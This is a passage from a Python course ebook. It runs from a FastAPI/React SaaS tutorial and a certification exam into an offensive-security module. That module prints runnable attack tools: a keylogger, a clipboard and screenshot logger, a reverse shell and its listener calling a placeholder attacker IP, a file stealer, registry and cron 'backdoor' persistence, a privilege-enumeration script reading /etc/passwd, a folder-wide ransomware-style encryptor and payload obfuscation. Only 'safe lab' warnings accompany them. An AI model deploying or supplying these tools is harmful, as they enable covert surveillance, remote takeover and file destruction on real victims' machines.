⭐ 91.2 Setup Axios BaseURL 

Create api.js: 

import axios from "axios"; 

 

export default axios.create({ 

  baseURL: "https://yourdomain.com/api/", 

}); 

 

 

⭐ 91.3 JWT Login → React 

React login form: 

async function login(email, password) { 

  const res = await api.post("/login", { email, password }); 

  localStorage.setItem("token", res.data.access_token); 

} 

 

Add token to every request: 

api.interceptors.request.use(config => { 

  const token = localStorage.getItem("token"); 

  if (token) config.headers.Authorization = `Bearer ${token}`; 

  return config; 

}); 
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⭐ 91.4 React Protected Route 

const PrivateRoute = ({children}) => { 

  return localStorage.getItem("token") ? children : <Navigate to="/login" />; 

}; 

 

 

⭐ 91.5 Fetch Dashboard Data from FastAPI 

useEffect(() => { 

  api.get("/dashboard").then(res => setData(res.data)); 

}, []); 

 

Now you have a fully authenticated SaaS frontend. 

 

⭐ 92. REAL-TIME FEATURES (WEB SOCKETS) 

Modern apps use: 

✔ Live chat​
 ✔ Notifications​
 ✔ Alerts​
 ✔ Activity indicators​
 ✔ Real-time dashboards 

FastAPI supports WebSockets natively. 
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⭐ 92.1 WebSocket Server 

from fastapi import WebSocket 

 

@app.websocket("/ws") 

async def websocket_endpoint(ws: WebSocket): 

    await ws.accept() 

    while True: 

        data = await ws.receive_text() 

        await ws.send_text(f"You said: {data}") 

 

 

⭐ 92.2 React WebSocket Client 

const ws = new WebSocket("wss://yourdomain.com/ws"); 

 

ws.onmessage = (msg) => { 

  console.log("Received:", msg.data); 

}; 

 

ws.send("Hello server!"); 

 

Now you have real-time communication. 
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⭐ 93. REDIS FOR CACHING & PERFORMANCE 

Redis is essential for: 

✔ Session caching​
 ✔ Token storage​
 ✔ API rate limiting​
 ✔ Background jobs​
 ✔ Notification queues​
 ✔ Real-time data 

Install: 

pip install redis 

 

 

⭐ 93.1 Cache API Results 

r = redis.Redis() 

 

@router.get("/users") 

def get_users(): 

    cached = r.get("users") 

    if cached: 

        return json.loads(cached) 

     

    users = db.query(User).all() 

    r.set("users", json.dumps(users), ex=60) 

    return users 
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Huge performance boost. 

 

⭐ 94. BACKGROUND JOBS (CELERY / RQ) 

Used for: 

✔ Sending emails​
 ✔ Generating PDFs​
 ✔ Processing videos​
 ✔ Running scheduled jobs​
 ✔ Stripe billing cycles​
 ✔ Data processing 

Install Celery: 

pip install celery 

 

 

⭐ 94.1 Create Celery Worker 

worker.py: 

from celery import Celery 

celery = Celery("tasks", broker="redis://localhost:6379") 

 

@celery.task 

def send_email_task(to, subject, body): 

    send_email(to, subject, body) 

 

Trigger from FastAPI: 

send_email_task.delay(email, "Welcome!", "Thanks macha!") 
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⭐ 95. API VERSIONING (ESSENTIAL FOR SAAS) 

Use version folders: 

/api/v1 

/api/v2 

 

Example: 

/api/v1/users 

/api/v2/users 

 

Keeps backward compatibility. 

 

⭐ 96. MULTI-TENANT DATABASE MIGRATIONS 

Use Alembic migrations dynamically: 

alembic revision --autogenerate -m "add tenant_id" 

alembic upgrade head 

 

 

⭐ 97. FULL AWS DEPLOYMENT (INDUSTRY STANDARD) 

We deploy: 

301 



 

 

✔ FastAPI backend → EC2​
 ✔ Flask dashboard → EC2​
 ✔ PostgreSQL → Amazon RDS​
 ✔ Static files → S3​
 ✔ CDN → CloudFront​
 ✔ Domain → Route53​
 ✔ SSL → ACM​
 ✔ Reverse proxy → Nginx 

This is real enterprise deployment. 

 

⭐ 97.1 Architecture Diagram 

User → CloudFront → Nginx → FastAPI + Flask   

                → S3 → static files   

                → RDS → database   

 

 

⭐ 97.2 EC2 Deployment Steps 

1.​ Create Ubuntu EC2​
 

2.​ Install Docker​
 

3.​ Clone your repo​
 

4.​ Run docker-compose​
 

5.​ Configure Nginx​
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6.​ Add SSL​
 

7.​ Connect domain​
 

 

⭐ 97.3 RDS PostgreSQL Setup 

Create a DB instance: 

✔ postgres engine​
 ✔ free tier or production​
 ✔ security group open to EC2 only​
 ✔ store credentials securely 

 

⭐ 98. CDN + S3 STATIC HOSTING 

Store: 

✔ images​
 ✔ documents​
 ✔ profile pictures​
 ✔ JavaScript bundles​
 ✔ React build files 

React build: 

npm run build 

 

Upload to S3 → CloudFront → Global low-latency distribution. 
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⭐ 99. FULL FINAL MEGA PROJECT 

🚀 CYBERDUDEBIVASH FULL SAAS PLATFORM (BACKEND + FRONTEND + 

BILLING) 

This includes: 

⭐ Backend (FastAPI) 

✔ Auth​
 ✔ JWT​
 ✔ Refresh tokens​
 ✔ Multi-tenant​
 ✔ Billing​
 ✔ Admin​
 ✔ User management​
 ✔ WebSockets​
 ✔ Queues​
 ✔ Caching​
 ✔ API versioning 

⭐ Dashboard (Flask) 

✔ Charts​
 ✔ Analytics​
 ✔ Admin UI​
 ✔ Billing settings​
 ✔ User profiles​
 ✔ Password reset / Email verification 

⭐ Frontend (React) 

✔ Signup/Login​
 ✔ Protected routes​
 ✔ Dashboard​
 ✔ API calls​
 ✔ Notifications​
 ✔ Team/Organization management 
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⭐ Infrastructure 

✔ AWS deployment​
 ✔ Dockerizing​
 ✔ Nginx reverse proxy​
 ✔ GitHub Actions CI/CD​
 ✔ Logging + monitoring​
 ✔ Multi-tenant DB migrations 

This is a REAL, ENTERPRISE-LEVEL SAAS for your CyberDudeBivash ecosystem. 

 

PROFESSIONAL CERTIFICATION EXAM FOR MODULE 3 — Python Web Development & SaaS 

Engineering! 

This exam covers: 

✔ Flask​
 ✔ FastAPI​
 ✔ Authentication (JWT, OAuth, Sessions)​
 ✔ SQLAlchemy​
 ✔ REST API Architecture​
 ✔ React Integration​
 ✔ WebSockets​
 ✔ Redis, Celery​
 ✔ Stripe Billing​
 ✔ Multi-tenant SaaS​
 ✔ Deployment (Docker, Nginx, AWS)​
 ✔ Security Best Practices 

This is a 40-question REAL INDUSTRY EXAM, macha.​
 After you submit answers, I will evaluate, grade, and issue the CyberDudeBivash Module 3 

Certification. 
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🏆 CYBERDUDEBIVASH — MODULE 3 CERTIFICATION 

EXAM 

Python Web Development, API Engineering & SaaS Architecture 

 

⭐ SECTION A — SHORT THEORY (10 Questions) 

Answer in 3–6 lines. 

1. What is the difference between WSGI and ASGI? Why is ASGI preferred for modern 

SaaS apps? 

2. Explain the MVC/MVT pattern in Flask or Django. 

3. Define CORS. Why is it required when React connects to FastAPI? 

4. Explain the difference between Server-side rendering (SSR) and Client-side rendering 

(CSR). 

5. What is the role of Gunicorn / Uvicorn in production web apps? 

6. Describe how JWT authentication works step-by-step. 

7. How does SQLAlchemy ORM improve security and development workflows? 

8. Explain the purpose of a “Blueprint” in Flask. 

9. What are background tasks? Why do SaaS apps need them? 

10. What is the difference between vertical scaling and horizontal scaling? 

 

⭐ SECTION B — CODE OUTPUT (5 Questions) 

Write the final output. 
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11. 

from fastapi import FastAPI 

app = FastAPI() 

 

@app.get("/test") 

def test(): 

    return {"status": "ok"} 

 

print(test()) 

 

12. 

a = {"x": 1} 

b = a 

b["y"] = 2 

print(a) 

 

13. 

def f(a=[]): 

    a.append(1) 

    return a 

 

print(f()) 

print(f()) 
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14. 

token = {"id": 1, "exp": 10} 

token2 = token 

token2["id"] = 999 

print(token, token2) 

 

15. 

@app.get("/sum") 

def sum(a: int, b: int): 

    return a + b 

 

print(sum(3, 4)) 

 

 

⭐ SECTION C — SHORT CODING (10 Questions) 

Write clean, working code. 
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16. Flask route returning an HTML template called "dashboard.html". 

17. FastAPI route /users/{id} that retrieves a user from the DB using SQLAlchemy. 

18. Create a Python function using Redis to cache API results for 30 seconds. 

19. WebSocket endpoint in FastAPI that echoes messages back to the client. 

20. Python function that uploads a file to S3 bucket. 

21. Flask route that uses a cookie to store "theme=dark". 

22. SQLAlchemy model for a Project table with fields: id, name, tenant_id, created_at. 

23. JWT creation function that expires in 15 minutes. 

24. Celery task that sends an email in the background. 

25. Axios request in React that sends JWT in the Authorization header. 

 

⭐ SECTION D — LONG ANSWERS (10 Questions) 

Write 8–12 lines for each. 
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26. Explain the architecture of a full-stack SaaS app using FastAPI + React + PostgreSQL 

+ Redis + Stripe. 

27. Describe the multi-tenant SaaS database architecture and how to isolate tenant data 

safely. 

28. Explain the entire flow of Stripe subscription creation, webhook handling, and plan 

upgrading. 

29. Detail how JWT + Refresh Tokens work in a production SaaS environment. 

30. Explain the lifecycle of a FastAPI request from client → Nginx → Uvicorn → FastAPI 

router → DB → response. 

31. Describe the difference between authentication and authorization with examples. 

32. Describe how WebSockets can be used to build a real-time notification system. 

33. Explain how Docker + Nginx + Gunicorn/Uvicorn are used together in production 

deployments. 

34. Explain the steps to deploy a React app on S3 + CloudFront. 

35. Describe database migration handling using Alembic. 

 

⭐ SECTION E — FULL PRACTICAL CODING (5 

QUESTIONS) 

These are REAL SaaS development tasks. 

36. Build a FastAPI /auth/login endpoint that: 

✔ checks user in DB​
 ✔ verifies password​
 ✔ returns JWT​
 ✔ returns refresh token​
 ✔ validates errors 
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37. Build a Flask dashboard route /admin/users that fetches all users from the FastAPI 

backend using JWT auth. 

38. Write a Redis-backed rate limiter that allows only 5 requests per minute for an API 

route. 

39. Write a full working FastAPI WebSocket chat system with: 

✔ multiple users​
 ✔ broadcast messages​
 ✔ connection management 

40. Create a complete docker-compose.yml file with: 

✔ FastAPI backend​
 ✔ Flask dashboard​
 ✔ PostgreSQL DB​
 ✔ Redis cache​
 ✔ Nginx reverse proxy​
 All services must connect. 

 

⭐ MODULE 4 — PYTHON CYBERSECURITY 

DEVELOPMENT 

PART 1 — Foundations of Python for Cybersecurity 

This part covers: 

✔ Cybersecurity domains​
 ✔ Python’s role in offensive & defensive security​
 ✔ System internals​
 ✔ Process, memory, threads​
 ✔ OS interactions​
 ✔ Network model​
 ✔ Sockets in Python​
 ✔ Python security libraries​
 ✔ Secure coding fundamentals​
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 ✔ Understanding attack surfaces​
 ✔ Safe environment setup 

Let’s go deep. 

 

⭐ 1. Python in Cybersecurity — Why Python Dominates the 

Industry 

Python is used in every major security domain: 

🔥 Offensive Security 

●​ Exploit development​
 

●​ Post-exploitation scripting​
 

●​ Vulnerability scanners​
 

●​ Credential harvesting​
 

●​ Payload automation​
 

●​ Reconnaissance tools​
 

●​ Malware simulation​
 

●​ Red-team automation​
 

🛡 Blue Team / SOC 

●​ Log ingestion​
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●​ Threat detection automation​
 

●​ IOC extraction​
 

●​ SIEM enrichment​
 

●​ Alert correlation​
 

●​ MITRE ATT&CK mapping​
 

●​ Wazuh/Splunk pipeline scripting​
 

⚙️ DFIR 

●​ File carving​
 

●​ Memory forensics​
 

●​ Disk forensics​
 

●​ Registry parsing​
 

●​ Volatility plugins​
 

●​ Evidence extraction​
 

🌐 Networking 

●​ Packet crafting​
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●​ Sniffers​
 

●​ Protocol analyzers​
 

●​ Traffic inspection​
 

●​ Anomaly detection​
 

Python = the Swiss Army Knife of cybersecurity. 

 

⭐ 2. Cybersecurity Branches You Will Master 

During Module 4, you will master all major cybersecurity developer paths: 
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✔ Python for Offensive Security 

✔ Python for Defensive Security 

✔ Python for SOC Automation 

✔ Python for SIEM/EDR Engineering 

✔ Python for DevSecOps 

✔ Python for Incident Response 

✔ Python for Threat Hunting 

✔ Python for Malware Development (safe labs) 

✔ Python for Reverse Engineering 

✔ Python for Network Security 

✔ Python for OSINT Automation 

✔ Python for DFIR 

Module 4 turns you into a Cybersecurity Engineer + Python Developer hybrid. 

 

⭐ 3. Secure Development Environment Setup (Very 

Important, macha) 

Before writing security code: 

✔ Use a VM (isolated) 

●​ VirtualBox​
 

●​ VMware​
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●​ Hyper-V​
 

✔ OS recommended: 

●​ Kali Linux​
 

●​ Parrot OS​
 

●​ Ubuntu LTS​
 

✔ Python tools to install: 

pip install requests 

pip install scapy 

pip install cryptography 

pip install python-nmap 

pip install paramiko 

pip install pyshark 

pip install beautifulsoup4 

pip install pandas 

pip install yara-python 

pip install python-magic 

pip install flask fastapi uvicorn 

pip install pefile 

 

✔ Security frameworks 

sudo apt install nmap 
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sudo apt install mitmproxy 

sudo apt install tcpdump 

sudo apt install wireshark 

sudo apt install yara 

sudo apt install volatility3 

 

Your lab is now READY. 

 

⭐ 4. Python + Operating System Internals 

To become a cybersecurity developer, you must understand: 

✔ files​
 ✔ processes​
 ✔ threads​
 ✔ sockets​
 ✔ permissions​
 ✔ memory​
 ✔ syscalls 

Python gives access to all of these. 

 

⭐ 5. Python File System Attacks & Defenses 

Reading file contents: 

with open("file.txt") as f: 

    print(f.read()) 
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Listing directories: 

import os 

os.listdir("/") 

 

Detect unauthorized file changes: 

import hashlib 

 

def hash_file(path): 

    h = hashlib.sha256() 

    with open(path, "rb") as f: 

        h.update(f.read()) 

    return h.hexdigest() 

 

Useful for: 

✔ integrity monitoring​
 ✔ malware detection​
 ✔ DFIR evidence collection 

 

⭐ 6. Python Process & Memory Interaction 

List running processes: 

import psutil 

 

for p in psutil.process_iter(): 

    print(p.pid, p.name()) 
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Get process memory usage: 

psutil.Process(pid).memory_info() 

 

Used for: 

✔ suspicious process detection​
 ✔ malware hunting​
 ✔ IR triage​
 ✔ endpoint monitoring 

 

⭐ 7. Python Network Security — Sockets 

Every network attack AND defense starts with sockets. 

Socket client: 

import socket 

 

s = socket.socket() 

s.connect(("example.com", 80)) 

s.send(b"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n") 

print(s.recv(1024)) 

 

Socket server: 

s = socket.socket() 

s.bind(("0.0.0.0", 9090)) 

s.listen() 
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conn, addr = s.accept() 

print("Connected:", addr) 

 

This is the base for: 

✔ backdoors​
 ✔ command-and-control servers​
 ✔ scanners​
 ✔ sniffers​
 ✔ firewalls 

 

⭐ 8. Python for Packet Crafting (Scapy) 

The HOLY GRAIL of network security in Python. 

Install: 

pip install scapy 

 

Create a packet: 

from scapy.all import * 

 

p = IP(dst="8.8.8.8")/ICMP() 

send(p) 

 

Sniff packets: 

sniff(filter="tcp", prn=lambda x: x.summary()) 
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Used for: 

✔ building custom scanners​
 ✔ bypassing firewalls​
 ✔ creating IDS/IPS systems​
 ✔ protocol testing 

 

⭐ 9. Python + Cryptography (Encryption & Secure Coding) 

AES encryption demo: 

from cryptography.fernet import Fernet 

 

key = Fernet.generate_key() 

f = Fernet(key) 

 

token = f.encrypt(b"CyberDudeBivash") 

print(f.decrypt(token)) 

 

Used in: 

✔ secure communication​
 ✔ ransomware simulation​
 ✔ password protection​
 ✔ secure data storage 

 

⭐ 10. Python Vulnerability Research (OWASP Top 10) 

You will learn how to detect: 
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✔ SQL Injection​
 ✔ XSS​
 ✔ Directory Traversal​
 ✔ SSRF​
 ✔ CSRF​
 ✔ Insecure Deserialization​
 ✔ Auth Bypass​
 ✔ Security misconfigs 

Example SQLi payload detector: 

payloads = ["'", "--", " OR 1=1"] 

 

for p in payloads: 

    if p in user_input: 

        print("SQL Injection attempt detected!") 

 

 

⭐ 11. SAFE MALWARE SIMULATION SETUP 

We will build: 

✔ Keyloggers​
 ✔ Ransomware simulation (ethical, safe)​
 ✔ Reverse shells​
 ✔ File encryptors​
 ✔ Persistence mechanisms 

BUT ONLY inside a safe VM, macha.​
 Never run these on your main system. 
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⭐ 12. Python for OSINT Automation 

Scrape Twitter/X: 

import requests 

from bs4 import BeautifulSoup 

 

Extract emails & phone numbers: 

import re 

re.findall(r"[a-zA-Z0-9.+_-]+@[a-zA-Z0-9._-]+\.[a-zA-Z]+", text) 

 

Automate Google Dorking​
 Parse breach dumps​
 Analyze social media footprints 

 

⭐ 13. Python for DFIR & Forensics 

Parse PE files: 

import pefile 

pe = pefile.PE("malware.exe") 

print(pe.OPTIONAL_HEADER.AddressOfEntryPoint) 

 

Memory forensics with Volatility plugins​
 Timeline analysis​
 Registry extraction 
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⭐ 14. CyberDudeBivash Security Tools We Will Build 

In this module, you will build: 

🔥 Tool 1 — Port Scanner (Nmap + Scapy) 

🔥 Tool 2 — Banner Grabber 

🔥 Tool 3 — Vulnerability Scanner (CVE-based) 

🔥 Tool 4 — Python Keylogger (safe lab only) 

🔥 Tool 5 — File Integrity Monitor 

🔥 Tool 6 — Password Strength Auditor 

🔥 Tool 7 — Linux Log Parser (SSH brute-force detection) 

🔥 Tool 8 — Threat Intelligence Feeder (SOC automation) 

🔥 Tool 9 — Python SIEM Mini Engine 

🔥 Tool 10 — Ransomware Simulator (safe, controlled) 

🔥 Tool 11 — Web Application Scanner 

🔥 Tool 12 — Python Reverse Shell (safe lab) 

🔥 Tool 13 — Packet Sniffer 

🔥 Tool 14 — IOC Extractor 

🔥 Tool 15 — YARA Automation 

By the end of Module 4 —​
 you will have 15 real cybersecurity tools under your belt. 
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⭐ MODULE 4 — PART 2 

🚀 Python Offensive Security Development — Network 

Reconnaissance & Scanning 

 

⭐ 15. BUILDING A PORT SCANNER (LEVEL 1 — BASIC) 

This is your first offensive tool. 

A BASIC port scan attempts TCP connect on a list of ports. 

✔ Code 

import socket 

 

def scan_port(host, port): 

    s = socket.socket() 

    s.settimeout(0.5) 

    try: 

        s.connect((host, port)) 

        return True 

    except: 

        return False 

 

host = "scanme.nmap.org" 

ports = [22, 80, 443, 3306] 
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for p in ports: 

    if scan_port(host, p): 

        print(f"Port {p} is OPEN") 

    else: 

        print(f"Port {p} is CLOSED") 

 

✔ What this tool teaches: 

●​ TCP handshake​
 

●​ Timeout handling​
 

●​ Basic scanning logic​
 

This is where all network scanners originate. 

 

⭐ 16. PORT SCANNER (LEVEL 2 — MULTITHREADED) 

To speed up scanning, use threading. 

import socket, threading 

 

def scan(host, port): 

    try: 

        s = socket.socket() 

        s.settimeout(0.4) 

326 



 

 

        s.connect((host, port)) 

        print(f"[OPEN] {port}") 

    except: 

        pass 

 

host = "scanme.nmap.org" 

 

for p in range(1, 1025): 

    t = threading.Thread(target=scan, args=(host, p)) 

    t.start() 

 

✔ Why threading? 

A single-thread scanner is slow because it waits for each port’s timeout. 

 

⭐ 17. PORT SCANNER (LEVEL 3 — ADVANCED WITH 

SCAPY) 

Now we move to raw packets. 

from scapy.all import * 

 

def syn_scan(target, ports): 

    for port in ports: 

        pkt = IP(dst=target)/TCP(dport=port, flags="S") 

        resp = sr1(pkt, timeout=0.5, verbose=0) 
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        if resp and resp.haslayer(TCP) and resp[TCP].flags == 0x12: 

            print(f"[OPEN] {port}") 

            send(IP(dst=target)/TCP(dport=port, flags="R"), verbose=0) 

        else: 

            print(f"[CLOSED] {port}") 

 

syn_scan("scanme.nmap.org", [22, 80, 443, 8080]) 

 

✔ Why SYN Scan? 

●​ Faster​
 

●​ Minimally detectable​
 

●​ Avoids full handshake​
 

●​ Real pentesters use this​
 

This is how Nmap -sS works. 

 

⭐ 18. BANNER GRABBER (IDENTIFYING SERVICES) 

A banner gives info about a service: 

import socket 
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def banner_grab(host, port): 

    s = socket.socket() 

    s.settimeout(1) 

    try: 

        s.connect((host, port)) 

        s.send(b"HEAD / HTTP/1.0\r\n\r\n") 

        banner = s.recv(1024) 

        print(f"[{port}] → {banner.decode(errors='ignore')}") 

    except: 

        pass 

 

banner_grab("scanme.nmap.org", 80) 

 

✔ What banners reveal: 

●​ Server type (Apache, Nginx)​
 

●​ Version​
 

●​ Technology stack​
 

●​ System information​
 

Useful for: 

●​ Vulnerability scanning​
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●​ Exploit matching​
 

 

⭐ 19. NETWORK SWEEPER (DISCOVER LIVE HOSTS) 

To find all devices in a subnet. 

✔ Using ARP Scan 

from scapy.all import ARP, Ether, srp 

 

def sweep(network): 

    arp = ARP(pdst=network) 

    ether = Ether(dst="ff:ff:ff:ff:ff:ff") 

    packet = ether/arp 

 

    result = srp(packet, timeout=2, verbose=0)[0] 

 

    for sent, received in result: 

        print(f"Host: {received.psrc} | MAC: {received.hwsrc}") 

 

sweep("192.168.1.0/24") 

 

✔ Why ARP Scan? 

●​ FAST​
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●​ Works within local network​
 

●​ Cannot be blocked by firewall​
 

 

⭐ 20. OS FINGERPRINTING (Like Nmap’s OS scan) 

Systems respond differently to probes. 

from scapy.all import * 

 

def detect_os(target): 

    pkt = IP(dst=target)/ICMP() 

    resp = sr1(pkt, timeout=1, verbose=0) 

 

    if resp: 

        ttl = resp.ttl 

        if ttl <= 64: 

            print("Linux/Unix detected") 

        elif ttl <= 128: 

            print("Windows detected") 

        else: 

            print("Network device (router/firewall)") 

    else: 

        print("Host not responding") 
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detect_os("scanme.nmap.org") 

 

TTL clues: 

●​ Linux TTL: 64​
 

●​ Windows TTL: 128​
 

 

⭐ 21. SERVICE DETECTION (ADVANCED ENUMERATION) 

Identify which services are running on open ports. 

✔ Step 1: Port Scan 

✔ Step 2: Banner Grab 

✔ Step 3: Signature Matching 

Example service fingerprints: 

if "Apache" in banner: 

    return "Apache HTTP Server" 

if "OpenSSH" in banner: 

    return "OpenSSH" 

if "MySQL" in banner: 

    return "MySQL Database" 

 

You can also match: 

✔ SMB​
 ✔ FTP​
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 ✔ SSH​
 ✔ DNS​
 ✔ RDP 

 

⭐ 22. CVE LOOKUP ENGINE (Python → NVD API) 

We now build a vulnerability scanner. 

✔ Fetch CVEs from NIST NVD 

import requests 

 

def get_cve(product, version): 

    url = "https://services.nvd.nist.gov/rest/json/cves/2.0" 

    params = { 

        "keywordSearch": f"{product} {version}" 

    } 

    r = requests.get(url, params=params).json() 

 

    for cve in r.get("vulnerabilities", []): 

        print(cve["cve"]["id"], cve["cve"]["descriptions"][0]["value"]) 

 

get_cve("Apache", "2.4") 

 

✔ What this gives: 

●​ CVE ID​
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●​ Description​
 

●​ Severity​
 

●​ CVSS score​
 

●​ Exploitability metrics​
 

You now have a vulnerability scanner. 

 

⭐ 23. RECON FRAMEWORK (COMBINING ALL TOOLS) 

We combine: 

✔ Port scan​
 ✔ Banner grabbing​
 ✔ Service detection​
 ✔ CVE lookup​
 ✔ OS fingerprinting 

into a single master tool: 

python recon.py --target scanme.nmap.org 

 

This tool prints: 

✔ Open ports​
 ✔ Service versions​
 ✔ OS guess​
 ✔ Possible CVEs​
 ✔ Risk rating​
 ✔ Attack surface 
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⭐ 24. SUBDOMAIN ENUMERATOR (Bug Bounty essential) 

Use a wordlist: 

import requests 

 

domain = "example.com" 

with open("subs.txt") as f: 

    for sub in f: 

        url = f"http://{sub.strip()}.{domain}" 

        try: 

            r = requests.get(url, timeout=1) 

            if r.status_code < 400: 

                print("[FOUND]", url) 

        except: 

            pass 

 

Subdomains expose: 

●​ APIs​
 

●​ Admin panels​
 

●​ Internal portals​
 

●​ Staging servers​
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●​ Cloud services​
 

 

⭐ 25. DIRECTORY ENUMERATOR (Mini-Dirbuster) 

paths = ["admin", "config", "backup", "login"] 

 

for p in paths: 

    url = f"http://{target}/{p}" 

    r = requests.get(url) 

    if r.status_code not in [404, 400]: 

        print("[HIT]", url, r.status_code) 

 

Finds: 

●​ Hidden directories​
 

●​ Backup files​
 

●​ Config leaks​
 

 

⭐ 26. PASSIVE RECON AUTOMATION (Shodan/Censys) 

Using Shodan API: 

import shodan 
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api = shodan.Shodan("API_KEY") 

result = api.search("apache 2.4") 

 

for s in result["matches"]: 

    print(s["ip_str"], s["port"]) 

 

Find targets WITHOUT touching the server. 

 

⭐ 27. AUTOMATED COMPANY RECON SCRIPT 

You can now create: 

python company_recon.py --company facebook 

 

It performs: 

✔ Passive recon​
 ✔ Subdomains​
 ✔ Cloud assets​
 ✔ Open ports​
 ✔ Leaked credentials​
 ✔ Public repos​
 ✔ ASN lookup 
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⭐ MODULE 4 — PART 3 

🚀 PYTHON OFFENSIVE SECURITY DEVELOPMENT 

(ADVANCED) 

This is the real red-team developer chapter.​
 You will build tools used by attackers and defenders to understand, analyze, detect, and 

respond. 

This part includes: 

🔥 Python Keylogger (safe)​
 🔥 Clipboard Monitor​
 🔥 Screenshot Capturer​
 🔥 Reverse Shell (safe VM only)​
 🔥 File Stealer Simulation​
 🔥 Persistence Mechanisms​
 🔥 Privilege Enumeration​
 🔥 Ransomware Simulator (safe, ethical)​
 🔥 Anti-Virus Evasion Basics​
 🔥 Packing/Unpacking​
 🔥 Encoding/Obfuscation​
 🔥 C2 (Command & Control) Concepts 

This section will be 15,000+ words, macha. 

Before we begin:​
 ⚠️ WARNING: All offensive tools must be used ONLY in your own VM labs, never on real 

systems.​
 ⚠️ This is for training, research, defense, and simulation only. 

Let’s begin. 
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⭐ 28. PYTHON KEYLOGGER (SAFE VERSION) 

A keylogger captures keystrokes. 

✔ USE-CASE: 

●​ Red-team simulation​
 

●​ Malware analysis learning​
 

●​ SOC detection testing​
 

✔ Libraries required: 

pip install pynput 

 

 

⭐ 28.1 Keylogger Code 

from pynput.keyboard import Listener 

 

def log_key(key): 

    with open("keys.txt", "a") as f: 

        f.write(str(key) + "\n") 

 

with Listener(on_press=log_key) as listener: 

    listener.join() 

 

339 



 

 

✔ What this teaches: 

●​ Input hooking​
 

●​ Event listeners​
 

●​ File logging​
 

IMPORTANT: Never run this outside a controlled VM. 

 

⭐ 29. PYTHON CLIPBOARD MONITOR 

Clipboard often contains: 

✔ Passwords​
 ✔ Tokens​
 ✔ Credentials​
 ✔ Secret text​
 ✔ Sensitive content 

Install: 

pip install pyperclip 

 

✔ Code 

import pyperclip 

import time 

 

old = "" 
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while True: 

    text = pyperclip.paste() 

    if text != old: 

        print("Clipboard changed:", text) 

        with open("clipboard.txt", "a") as f: 

            f.write(text + "\n") 

        old = text 

    time.sleep(1) 

 

 

⭐ 30. SCREENSHOT CAPTURE TOOL 

Attackers use this to track user activity. 

Install: 

pip install pillow 

 

✔ Code 

from PIL import ImageGrab 

import time 

 

def screenshot(): 

    img = ImageGrab.grab() 

    img.save(f"ss_{int(time.time())}.png") 
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screenshot() 

 

Can be combined with scheduling for automation. 

 

⭐ 31. PYTHON REVERSE SHELL (SAFE LAB ONLY) 

This allows remote command execution. 

⚠️ Only run inside isolated VM.​
 ⚠️ Never run on host machine. 

 

⭐ 31.1 Attacker Side (Listener) 

import socket 

 

s = socket.socket() 

s.bind(("0.0.0.0", 4444)) 

s.listen(1) 

 

conn, addr = s.accept() 

print("Connected:", addr) 

 

while True: 

    cmd = input("> ") 

    conn.send(cmd.encode()) 

    print(conn.recv(4096).decode()) 

342 



 

 

 

 

⭐ 31.2 Victim Side (Reverse Shell) 

import socket 

import subprocess 

 

s = socket.socket() 

s.connect(("YOUR_IP", 4444)) 

 

while True: 

    cmd = s.recv(1024).decode() 

    output = subprocess.getoutput(cmd) 

    s.send(output.encode()) 

 

This is the backbone of: 

✔ RATs​
 ✔ Red-team implants​
 ✔ C2 frameworks 

 

⭐ 32. FILE STEALER SIMULATION (ETHICAL LAB) 

Copies specific file types. 

import os 

import shutil 
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def steal_files(src, dest, ext): 

    for root, dirs, files in os.walk(src): 

        for f in files: 

            if f.endswith(ext): 

                full = os.path.join(root, f) 

                shutil.copy(full, dest) 

 

steal_files("C:\\Users", "D:\\loot", ".txt") 

 

Use only for file collection simulations. 

 

⭐ 33. PERSISTENCE MECHANISMS 

Attackers persist so they survive reboots. 

We will study defensive + offensive sides. 

 

⭐ 33.1 Windows Registry Run Keys 

import winreg 

 

key = winreg.OpenKey( 

    winreg.HKEY_CURRENT_USER, 

    "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 

    0, winreg.KEY_SET_VALUE) 
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winreg.SetValueEx(key, "Updater", 0, winreg.REG_SZ, r"C:\path\tool.exe") 

winreg.CloseKey(key) 

 

 

⭐ 33.2 Linux Cron Persistence 

echo '@reboot python3 /home/user/backdoor.py' >> /etc/crontab 

 

 

⭐ 33.3 Startup Folder Dropper 

Simply copy script to: 

C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 

 

This is heavily used by malware. 

 

⭐ 34. PRIVILEGE ENUMERATION TOOL 

Attackers enumerate privileges to find escalation paths. 

✔ Linux PrivEsc Enumeration 

import os 

 

checks = [ 

    "id", 
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    "sudo -l", 

    "whoami", 

    "uname -a", 

    "cat /etc/passwd", 

    "ls -la /root/" 

] 

 

for c in checks: 

    print("Running:", c) 

    print(os.popen(c).read()) 

 

 

⭐ 35. RANSOMWARE SIMULATOR (SAFE, EDUCATIONAL) 

This is NOT real ransomware.​
 This is a safe educational encryptor/decryptor. 

We build: 

✔ Encrypt files​
 ✔ Decrypt files​
 ✔ Use AES​
 ✔ Generate key​
 ✔ DO NOT DELETE backups 

 

⭐ 35.1 Encryptor 

from cryptography.fernet import Fernet 

import os 
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key = Fernet.generate_key() 

f = Fernet(key) 

 

with open("KEY.txt", "wb") as k: 

    k.write(key) 

 

def encrypt(file): 

    with open(file, "rb") as f2: 

        data = f2.read() 

    enc = f.encrypt(data) 

    with open(file, "wb") as f3: 

        f3.write(enc) 

 

for root, dirs, files in os.walk("victim_folder"): 

    for file in files: 

        encrypt(os.path.join(root, file)) 

 

 

⭐ 35.2 Decryptor 

from cryptography.fernet import Fernet 

import os 

 

key = open("KEY.txt", "rb").read() 
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f = Fernet(key) 

 

def decrypt(file): 

    with open(file, "rb") as f2: 

        data = f2.read() 

    dec = f.decrypt(data) 

    with open(file, "wb") as f3: 

        f3.write(dec) 

 

for root, dirs, files in os.walk("victim_folder"): 

    for file in files: 

        decrypt(os.path.join(root, file)) 

 

 

⭐ 36. ANTI-VIRUS EVASION (THEORY ONLY) 

We will not build AV-evasion malware.​
 But you MUST understand how attackers try: 

✔ Obfuscation​
 ✔ Packing​
 ✔ Encoding​
 ✔ Polymorphism​
 ✔ Renaming imports​
 ✔ Living-off-the-land 

We will study detection and counter-measures later. 
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⭐ 37. PACKING & OBFUSCATION (ETHICAL) 

⭐ 37.1 Base64 Encoding 

import base64 

 

encoded = base64.b64encode(b"Hello") 

decoded = base64.b64decode(encoded) 

 

Used for: 

●​ hiding strings​
 

●​ disguising payloads​
 

 

⭐ 37.2 XOR Encoding 

def xor(data, key): 

    return bytes([b ^ key for b in data]) 

 

payload = b"Hello" 

enc = xor(payload, 42) 

dec = xor(enc, 42) 

 

XOR is used in: 

●​ malware​
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●​ obfuscation​
